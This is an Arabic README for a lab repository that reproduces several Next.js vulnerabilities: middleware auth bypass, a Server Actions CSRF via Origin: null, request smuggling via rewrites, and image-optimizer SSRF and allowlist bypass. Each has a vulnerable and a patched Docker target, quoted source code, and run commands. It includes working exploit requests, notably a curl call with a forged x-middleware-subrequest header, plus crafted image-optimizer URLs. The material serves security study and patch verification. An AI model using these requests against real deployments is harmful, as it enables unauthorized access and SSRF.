
بعض إثباتات المفهوم (POCs) لـ CVE-2025-29927 و CVE-2026-27978 و CVE-2026-29057 في Next.js.
يحتوي هذا المستودع على بيئات إثبات مفهوم قابلة لإعادة الإنتاج لثلاث ثغرات في Next.js. يتضمن كل إثبات مفهوم هدفًا ضعيفًا وهدفًا مُصلَحًا ونصًا برمجيًا يوضح الفرق السلوكي بينهما.
الهدف من هذا المشروع هو تسهيل ملاحظة السبب الجذري والتأثير العملي لكل مشكلة في بيئة بسيطة.
| CVE | الاستشارة | التأثير | الإصدار الضعيف | الإصدار المُصلَح |
|---|---|---|---|---|
CVE-2025-29927 | GHSA-f82v-jwr5-mffw | تجاوز التفويض عندما يعتمد التحكم في الوصول فقط على middleware | 15.2.2 | 15.2.3 |
CVE-2026-27978 | GHSA-mq59-m269-xvcx | تجاوز فحوصات CSRF لـ Server Actions عبر Origin: null | 16.1.6 | 16.1.7 |
CVE-2026-29057 | GHSA-ggv3-7p47-pfv8 | تهريب طلبات HTTP عبر إعادة كتابة إلى خلفية خارجية | 15.5.12 | 15.5.13 |
NEXT-16.2.4-IMAGE-REDIRECT | نتيجة تدقيق أمني محلي المصدر | تجاوز قائمة السماح لمُحسِّن الصور عن بعد عبر عمليات إعادة التوجيه | 16.2.4 | لم يتم التحقق |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE | نتيجة تدقيق أمني محلي المصدر | يمكن لعنوان URL محلي لمُحسِّن الصور الوصول إلى خلفية خاصة عبر إعادة كتابة خارجية | 16.2.4 | لم يتم التحقق |
التجزئات أدناه مأخوذة من المستودع الأصلي vercel/next.js.
.
|- docker-compose.yml
|- pocs/
| |- cve-2025-29927/
| |- cve-2026-27978/
| |- cve-2026-29057/
| |- next-16.2.4-image-redirect-allowlist-bypass/
| `- next-16.2.4-image-local-rewrite-ssrf/
`- scripts/
|- run-cve-2025-29927.mjs
|- run-cve-2026-27978.mjs
|- run-cve-2026-29057.mjs
|- run-next-16.2.4-image-redirect-allowlist-bypass.mjs
`- run-next-16.2.4-image-local-rewrite-ssrf.mjs
docker compose.docker compose up --build
المنافذ المكشوفة:
3001 -> CVE-2025-29927 ضعيف3002 -> CVE-2025-29927 مُصلَح3003 -> CVE-2026-27978 ضعيف3004 -> CVE-2026-27978 مُصلَح3005 -> CVE-2026-29057 ضعيف3006 -> CVE-2026-29057 مُصلَح3007 -> NEXT-16.2.4-IMAGE-REDIRECT3008 -> في إثبات المفهوم هذا، /dashboard محمي فقط بواسطة middleware:
export function middleware(request) {
const session = request.cookies.get('session')?.value
if (session !== 'admin') {
return NextResponse.redirect(new URL('/login', request.url))
}
return NextResponse.next()
}
فحص التفويض نفسه ليس خاطئًا. المشكلة هي أن المسار يعتمد كليًا على افتراض أنه لا يمكن تخطي تنفيذ middleware.
في إصدارات Next.js المتأثرة، كان بإمكان الطلبات الخارجية لا يزال توفير الرأس الداخلي x-middleware-subrequest، وكانت بيئة التشغيل تتعامل مع تلك القيمة كبيانات تعريف موثوقة لـ middleware. المنطق الضعيف ذو الصلة كان:
const INTERNAL_HEADERS = [
'x-middleware-rewrite',
'x-middleware-redirect',
'x-middleware-set-cookie',
'x-middleware-skip',
'x-middleware-override-headers',
'x-middleware-next',
'x-now-route-matches',
'x-matched-path',
]
export const filterInternalHeaders = (headers) => {
for (const header in headers) {
if (INTERNAL_HEADERS.includes(header)) {
delete headers[header]
}
}
}
x-middleware-subrequest لم يتم تصفيته هناك، لذا يمكن للمدخلات التي يتحكم فيها المهاجم الوصول إلى بيئة تشغيل middleware. ثم تم استخدام تلك القيمة لاشتقاق عمق التكرار:
const subreq = params.request.headers['x-middleware-subrequest']
const subrequests = typeof subreq === 'string' ? subreq.split(':') : []
const depth = subrequests.reduce(
(acc, curr) => (curr === params.name ? acc + 1 : acc),
0
)
if (depth >= MAX_RECURSION_DEPTH) {
return {
response: new Response(null, {
headers: {
'x-middleware-next': '1',
},
}),
}
}
إذا أرسل المهاجم middleware:middleware:middleware:middleware:middleware، فقد تستنتج بيئة التشغيل أن عمق التكرار قد تم الوصول إليه بالفعل وترسل الطلب دون تنفيذ middleware التطبيق.
docker compose up --build cve-2025-29927-vuln cve-2025-29927-fixed
node scripts/run-cve-2025-29927.mjs http://localhost:3001
node scripts/run-cve-2025-29927.mjs http://localhost:3002
السلوك المتوقع:
3001 يُرجع إعادة توجيه بدون رأس الاستغلال، لكنه يُرجع 200 OK مع x-middleware-subrequest.3002 يستمر في إعادة التوجيه إلى /login لأن الرأس الداخلي لم يعد موثوقًا من المدخلات الخارجية.يكشف إثبات المفهوم هذا عن إجراء Server Action عادي يُغير الحالة من جانب الخادم:
'use server'
import { cookies } from 'next/headers'
import { revalidatePath } from 'next/cache'
import { recordTransfer } from '../lib/state'
export async function transferFunds(formData) {
const cookieStore = await cookies()
const session = cookieStore.get('session')?.value
if (!session) {
throw new Error('Victim session cookie is missing.')
}
const amount = Number(formData.get('amount') || '0')
recordTransfer(session, amount)
revalidatePath('/')
}
المشكلة ليست في transferFunds() نفسها. السلوك الضعيف كان في التحقق من CSRF لـ Server Actions في Next.js. في الإصدارات المتأثرة، تم التعامل مع Origin: null كأصل مفقود بدلاً من أصل غير شفاف صريح:
const originHeader = req.headers['origin']
const originDomain =
typeof originHeader === 'string' && originHeader !== 'null'
? new URL(originHeader).host
: undefined
const host = parseHostHeader(req.headers)
if (!originDomain) {
warning = 'Missing `origin` header from a forwarded Server Actions request.'
} else if (!host || originDomain !== host.value) {
if (isCsrfOriginAllowed(originDomain, serverActions?.allowedOrigins)) {
// Ignore it
} else {
const error = new Error('Invalid Server Actions request.')
// ...
}
}
لأن 'null' أصبحت undefined، يمكن للطلبات من الأصول غير الشفافة مثل iframes المحصورة تجنب مسار مقارنة المضيف/الأصل ومع ذلك يتم معالجتها مع إرفاق ملفات تعريف ارتباط الضحية.
docker compose up --build cve-2026-27978-vuln cve-2026-27978-fixed
node scripts/run-cve-2026-27978.mjs http://localhost:3003
node scripts/run-cve-2026-27978.mjs http://localhost:3004
السلوك المتوقع:
Origin: nullيعيد إثبات المفهوم هذا كتابة /rewrites/:path* إلى خلفية خارجية:
/** @type {import('next').NextConfig} */
const nextConfig = {
async rewrites() {
return [
{
source: '/rewrites/:path*',
destination: 'http://127.0.0.1:4000/rewrites/:path*',
},
]
},
}
module.exports = nextConfig
السلوك الضعيف كان في تبعية http-proxy المضمنة التي يستخدمها Next.js لإعادة الكتابة. في الإصدارات المتأثرة، كان منطق البروكسي لطلبات DELETE و OPTIONS يمكن أن يُضيف content-length: 0 ويزيل transfer-encoding:
deleteLength: function deleteLength(req, res, options) {
if (
(req.method === 'DELETE' || req.method === 'OPTIONS') &&
!req.headers['content-length']
) {
req.headers['content-length'] = '0'
delete req.headers['transfer-encoding']
}
},
أنشأ ذلك اختلافًا في حدود الطلب بين سلسلة البروكسي والخلفية عندما تم تمرير طلب مقسم مُصمم. نتيجة لذلك، يمكن تهريب طلب ثانٍ إلى الخلفية عبر نفس الاتصال.
docker compose up --build cve-2026-29057-vuln cve-2026-29057-fixed
node scripts/run-cve-2026-29057.mjs http://localhost:3005
node scripts/run-cve-2026-29057.mjs http://localhost:3006
السلوك المتوقع:
DELETE /rewrites/poc يحتوي على طلب مُهرّب GET /secretDELETE /rewrites/poc و GET /secretمثال على المخرجات الملاحظة:
$ node scripts/run-cve-2026-29057.mjs http://localhost:3005
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc","GET /secret"]}
PoC result: vulnerable behavior reproduced.
$ node scripts/run-cve-2026-29057.mjs http://localhost:3006
[before] {"backendRequests":[]}
[after] {"backendRequests":["DELETE /rewrites/poc"]}
PoC result: smuggled request was not observed. This usually means the target is patched.
يتحقق مصدر next.js-16.2.4 المحلي من images.remotePatterns فقط للمعامل الأصلي url في ImageOptimizerCache.validateParams():
if (!hasRemoteMatch(domains, remotePatterns, hrefParsed)) {
return { errorMessage: '"url" parameter is not allowed' }
}
ثم يتبع مسار الجلب الشبكي عمليات إعادة التوجيه بشكل متكرر في fetchExternalImage():
const redirect = new URL(locationHeader, href).href
return fetchExternalImage(
redirect,
dangerouslyAllowLocalIP,
maximumResponseBody,
count - 1
)
تلك الاستدعاءات المتكررة تحتفظ بفحص IP الخاص، لكنها لا تتلقى أو تعيد تطبيق domains / remotePatterns. يمكن لأصل صورة مسموح به تم تكوينه بالتالي إعادة توجيه المُحسِّن إلى أصل عام مختلف لن يجتاز قائمة السماح الأصلية للصورة.
يستخدم إثبات المفهوم خدمات المضيف المحلي ويضبط dangerouslyAllowLocalIP: true فقط حتى يمكن إعادة إنتاج سلوك قائمة السماح بدون بنية تحتية خارجية. قائمة السماح للصورة المُكونة تسمح فقط بـ http://127.0.0.1:4100/allowed/**; يعيد ذلك الخادم التوجيه إلى http://127.0.0.1:4200/blocked/private.png، ويسجل الخادم الثاني ما إذا كان قد تم الوصول إليه.
docker compose up --build next-16-image-redirect-bypass
node scripts/run-next-16.2.4-image-redirect-allowlist-bypass.mjs http://localhost:3007
السلوك المتوقع:
41004200، وهو خارج images.remotePatterns4200 GET /blocked/private.pngcurl -i http://localhost:3001/dashboard
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/dashboard
استخدم النص البرمجي المقدم، لأن حقل Server Action يتم إنشاؤه ديناميكيًا بواسطة الخادم.
استخدم النص البرمجي المقدم، لأن الاستغلال يعتمد على حمولة TCP خام مع طلب ثانٍ مُهرّب.
curl "http://localhost:3007/_next/image?url=http%3A%2F%2F127.0.0.1%3A4100%2Fallowed%2Fredirect.png&w=64&q=75"
curl http://localhost:3007/api/state
بالنسبة لعنوان URL صورة محلية، يتحقق ImageOptimizerCache.validateParams() فقط من مسار المحلي مقابل images.localPatterns:
if (!hasLocalMatch(localPatterns, url)) {
return { errorMessage: '"url" parameter is not allowed' }
}
ثم يعيد مسار الجلب الداخلي الدخول إلى معالج طلبات Next.js:
await handleRequest(mocked.req, mocked.res, nodeUrl.parse(href, true))
إذا تم تكوين المسار المحلي المطابق كإعادة كتابة خارجية، يمكن توجيه الطلب بالبروكسي إلى تلك الوجهة الخارجية. هذا المسار لا يستدعي fetchExternalImage()، لذا فإن حماية IP الخاص المستخدمة لعناوين URL الصور المطلقة لا تُطبق على الوجهة المُعاد كتابتها.
يسمح تكوين إثبات المفهوم فقط بعناوين URL الصور المحلية تحت /allowed/**، ثم يعيد كتابة ذلك المسار إلى http://127.0.0.1:4300/private/:path*:
const nextConfig = {
images: {
localPatterns: [{ pathname: '/allowed/**' }],
},
async rewrites() {
return [
{
source: '/allowed/:path*',
destination: 'http://127.0.0.1:4300/private/:path*',
},
]
},
}
docker compose up --build next-16-image-local-rewrite-ssrf
node scripts/run-next-16.2.4-image-local-rewrite-ssrf.mjs http://localhost:3008
السلوك المتوقع:
/allowed/secret.png لأنه يطابق images.localPatternshttp://127.0.0.1:4300/private/secret.pngGET /private/secret.pngcurl "http://localhost:3008/_next/image?url=%2Fallowed%2Fsecret.png&w=64&q=75"
curl http://localhost:3008/api/state
| CVE | إصدار الإصدار الضعيف | إصدار الإصدار المُصلَح | إصدار التصحيح ذو الصلة |
|---|
CVE-2025-29927 | v15.2.2 -> f4552826e1ed15fbeb951be552d67c5a08ad0672 | v15.2.3 -> 535e26d3c69de49df8bd17618a424cbe65ec897b | 52a078da3884efe6501613c7834a3d02a91676d2 |
CVE-2026-27978 | v16.1.6 -> adf8c612adddd103647c90ff0f511ea35c57076e | v16.1.7 -> bdf3e3577a6d55ea186a48238d61fbd8da07a626 | a27a11d78e748a8c7ccfd14b7759ad2b9bf097d8 |
CVE-2026-29057 | v15.5.12 -> d23f41c42506005fe6978e076a1ccbf8979e4925 | v15.5.13 -> cfd5f533b08df3038476dcd54f1d6d660d85f069 | dc98c04f376c6a1df76ec3e0a2d07edf4abdabd6 |
NEXT-16.2.4-IMAGE-LOCAL-REWRITE